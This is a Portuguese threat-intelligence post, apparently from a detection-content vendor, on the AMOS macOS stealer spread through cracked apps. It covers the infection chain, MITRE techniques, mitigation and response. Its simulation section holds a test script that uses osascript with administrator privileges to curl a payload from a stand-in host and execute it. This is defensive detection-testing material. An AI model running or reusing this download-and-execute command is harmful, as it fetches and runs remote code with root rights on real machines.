SOC Prime Bias: Médio

08 Mai 2026 18:45

AMOS Stealer Alvo MacOS Através de Apps “Crackeados”

Author Photo
SOC Prime Team linkedin icon Seguir
AMOS Stealer Alvo MacOS Através de Apps “Crackeados”
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório descreve uma campanha distribuindo Atomic macOS Stealer (AMOS) disfarçando-o como aplicativos crackeados ou instruindo usuários a executar comandos de terminal de copiar e colar. Uma vez executado, o malware coleta um conjunto amplo de dados sensíveis, incluindo credenciais, informações de navegador, carteiras de criptomoedas, arquivos de aplicativos de mensagens, perfis de VPN e documentos pessoais, e então exfiltra o conteúdo roubado via HTTP ou HTTPS. Para evitar detecção estática, os operadores rotacionam domínios e URLs durante a campanha. A atividade é direcionada a usuários de macOS, especialmente aqueles buscando software não oficial ou pirateado.

Investigação

A telemetria do Trend Vision One foi utilizada para reconstruir toda a cadeia de infecção, começando com downloads de aplicativos crackeados de haxmac.cc, seguido por redirecionamento por domínios intermediários, execução de scripts shell maliciosos, criação de daemons de inicialização para persistência, preparação de dados em /tmp, compressão em arquivos ZIP, e exfiltração para domínios rotativos controlados por atacantes. Pesquisadores capturaram as linhas de comando relevantes, caminhos de arquivo e indicadores de comportamento associados a cada etapa do comprometimento.

Mitigação

As organizações devem educar os usuários sobre os riscos de software crackeado e comandos de terminal de copiar e colar, aplicar controles do Gatekeeper e notarização, e limitar a execução desnecessária de scripts em sistemas macOS. Defensores também devem monitorar atividades suspeitas de curl and osascript e bloquear acesso a domínios e endereços IP maliciosos conhecidos. As detecções no endpoint devem se concentrar na criação não autorizada de daemons de inicialização, colocação de arquivos ocultos, e comportamento incomum de coleta ou exfiltração de arquivos.

Resposta

Se a atividade do AMOS for detectada, isole o endpoint afetado, termine os processos maliciosos, remova arquivos ocultos como .helper, .agent, e com.finder.helper.plist, e exclua quaisquer dados preparados para exfiltração. Credenciais comprometidas devem ser revogadas, e uma análise forense deve ser realizada em quaisquer arquivos recuperados. A infraestrutura maliciosa identificada deve ser bloqueada, e o conteúdo de detecção deve ser atualizado para monitorar os padrões de comandos observados.

graph TB %% Definições de classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nós – Ações (Técnicas) step1_initial_access_file[“<b>Ação</b> – <b>T1204.002 Execução do Usuário: Arquivo Malicioso</b><br/>A vítima baixa e executa um arquivo .dmg trojanizado disfarçado como um aplicativo crackeado.”] class step1_initial_access_file action step2_copy_paste[“<b>Ação</b> – <b>T1204.004 Execução do Usuário: Cópia e Colagem Maliciosa</b><br/>A vítima copia um comando curl de uma página web para o Terminal, o que baixa e executa install.sh.”] class step2_copy_paste action step3_masquerading[“<b>Ação</b> – <b>T1036 Mascaramento</b><br/>O malware é apresentado como software crackeado legítimo e páginas falsas de instalação.”] class step3_masquerading action step4_curl_proxy[“<b>Ação</b> – <b>T1218 Execução Proxy de Binário do Sistema</b><br/>O binário legítimo curl obtém scripts maliciosos.”] class step4_curl_proxy action step5_osascript_proxy[“<b>Ação</b> – <b>T1216 Execução Proxy de Script do Sistema</b><br/>osascript executa uma carga útil AppleScript para executar código.”] class step5_osascript_proxy action step6_shell_interpreter[“<b>Ação</b> – <b>T1059.004 Interpretador de Comandos e Scripts: Shell Unix</b><br/>Comandos shell criam diretórios, coletam arquivos e invocam curl para exfiltração.”] class step6_shell_interpreter action step7_sudo_abuse[“<b>Ação</b> – <b>T1548.003 Abuso do Mecanismo de Elevação de Controle: Sudo e Cache do Sudo</b><br/>A senha capturada é fornecida ao sudo para escrever um plist LaunchDaemon com privilégios root.”] class step7_sudo_abuse action step8_persistence[“<b>Ação</b> – <b>T1569 Serviços do Sistema: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) executa o script malicioso .agent durante a inicialização do sistema.”] class step8_persistence action step9_defense_evasion[“<b>Ação</b> – <b>T1127 Execução Proxy de Utilitários Confiáveis de Desenvolvedor</b><br/>Utilitários de desenvolvimento da Apple (osascript) são usados para executar a carga útil, evitando defesas.”] class step9_defense_evasion action step10_dga[“<b>Ação</b> – <b>T1568.002 Resolução Dinâmica: Algoritmos de Geração de Domínio</b><br/>O invasor alterna numerosos domínios .cfd e outros domínios para entrega de cargas úteis.”] class step10_dga action step11_browser_creds[“<b>Ação</b> – <b>T1555.003 Credenciais de Armazenamentos de Senhas: Navegadores Web</b><br/>Extração de dados de login e cookies do Chrome, Firefox e Edge.”] class step11_browser_creds action step12_keychain[“<b>Ação</b> – <b>T1555 Credenciais de Armazenamentos de Senhas</b><br/>Extração de itens do Keychain do macOS.”] class step12_keychain action step13_wallet_keys[“<b>Ação</b> – <b>T1552.004 Chaves Privadas</b><br/>Roubo de arquivos de carteiras de criptomoedas.”] class step13_wallet_keys action step14_session_cookies[“<b>Ação</b> – <b>T1550.004 Cookie de Sessão Web</b><br/>Coleta de cookies de sessão para reutilização posterior.”] class step14_session_cookies action step15_archive[“<b>Ação</b> – <b>T1560 Arquivar Dados Coletados</b><br/>Os arquivos coletados são compactados em out.zip.”] class step15_archive action step16_compression[“<b>Ação</b> – <b>T1027.015 Compressão</b><br/>Os dados são comprimidos antes da exfiltração (ofuscação).”] class step16_compression action step17_exfil_https[“<b>Ação</b> – <b>T1071.001 Protocolo de Camada de Aplicação: Protocolos Web</b><br/>O arquivo compactado é enviado via HTTPS POST para um servidor controlado pelo invasor.”] class step17_exfil_https action step18_indirect_curl[“<b>Ação</b> – <b>T1202 Execução Indireta de Comando</b><br/>O comando curl recupera e executa silenciosamente um script remoto.”] class step18_indirect_curl action %% Nós – Ferramentas tool_curl[“<b>Ferramenta</b> – <b>Nome</b>: curl<br/><b>Descrição</b>: Utilitário de linha de comando para transferir dados com URLs.”] class tool_curl tool tool_osascript[“<b>Ferramenta</b> – <b>Nome</b>: osascript<br/><b>Descrição</b>: Executa scripts AppleScript ou JavaScript para Automação.”] class tool_osascript tool tool_sudo[“<b>Ferramenta</b> – <b>Nome</b>: sudo<br/><b>Descrição</b>: Executa comandos com privilégios elevados.”] class tool_sudo tool tool_launchd[“<b>Ferramenta</b> – <b>Nome</b>: launchd<br/><b>Descrição</b>: Gerenciador de serviços do macOS para carregar LaunchDaemons e agentes.”] class tool_launchd tool %% Nós – Arquivos e Dados file_dmg[“<b>Arquivo</b> – <b>Nome</b>: trojanized.dmg<br/><b>Tipo</b>: Imagem de disco disfarçada como aplicativo crackeado”] class file_dmg file file_install_sh[“<b>Arquivo</b> – <b>Nome</b>: install.sh<br/><b>Tipo</b>: Script shell baixado via curl”] class file_install_sh file data_out_zip[“<b>Dados</b> – <b>Nome</b>: out.zip<br/><b>Conteúdo</b>: Arquivos coletados prontos para exfiltração”] class data_out_zip data %% Conexões de Fluxo step1_initial_access_file –>|baixa e executa| file_dmg file_dmg –>|aciona| step1_initial_access_file step1_initial_access_file –>|leva a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|baixa| file_install_sh file_install_sh –>|executa| step2_copy_paste step2_copy_paste –>|leva a| step3_masquerading step3_masquerading –>|habilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|obtém| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|executa| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|grava| step8_persistence step8_persistence –>|gerenciado por| tool_launchd tool_launchd –>|executa| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|fornece| step11_browser_creds step10_dga –>|fornece| step12_keychain step10_dga –>|fornece| step13_wallet_keys step10_dga –>|fornece| step14_session_cookies step11_browser_creds –>|coletado em| step15_archive step12_keychain –>|coletado em| step15_archive step13_wallet_keys –>|coletado em| step15_archive step14_session_cookies –>|coletado em| step15_archive step15_archive –>|produz| data_out_zip data_out_zip –>|compactado por| step16_compression step16_compression –>|enviado via| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|realiza| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Estilo class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação Preliminar de Telemetria & Base deve ter passado.

Racionalização: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa de Ataque & Comandos:
    Um adversário obteve uma isca de phishing que entrega uma carga útil curta em AppleScript. O script usa osascript para executar um comando shell (sh -c) que invoca curl para baixar o binário AMOS stealer de um servidor C2 malicioso, armazena-o na pasta do usuário ~/Library/Application Support/ e então o executa com permissões elevadas. O uso de osascript (um binário Apple assinado) mascara a atividade como automação legítima, enquanto curl fornece um download de rede discreto.

  • Script de Teste de Regressão:

    # amos_stealer_simulation.sh
    # Simular execução do AMOS stealer no macOS usando osascript + curl
    
    # 1. Definir URL malicioso (usar um espaço reservado inofensivo para segurança)
    MALICIOUS_URL="https://example.com/malicious_payload.sh"
    
    # 2. AppleScript que executa um comando shell para baixar & executar a carga útil
    APPLESCRIPT=$(cat <<'EOF'
    do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges
    EOF
    )
    
    # 3. Executar o AppleScript via osascript
    echo "$APPLESCRIPT" | osascript
    
    # 4. Pausar brevemente para permitir a execução da carga útil
    sleep 5
  • Comandos de Limpeza:

    # cleanup_amos_simulation.sh
    # Remover artefatos criados pela simulação
    
    # Remover a carga útil baixada
    rm -f /tmp/payload.sh
    
    # Revogar quaisquer processos temporariamente elevados (se ainda em execução)
    pkill -f "/tmp/payload.sh" || true
    
    # Opcionalmente, limpar o histórico de execução do AppleScript
    # (macOS não retém um histórico persistente para osascript)
    echo "Limpeza concluída."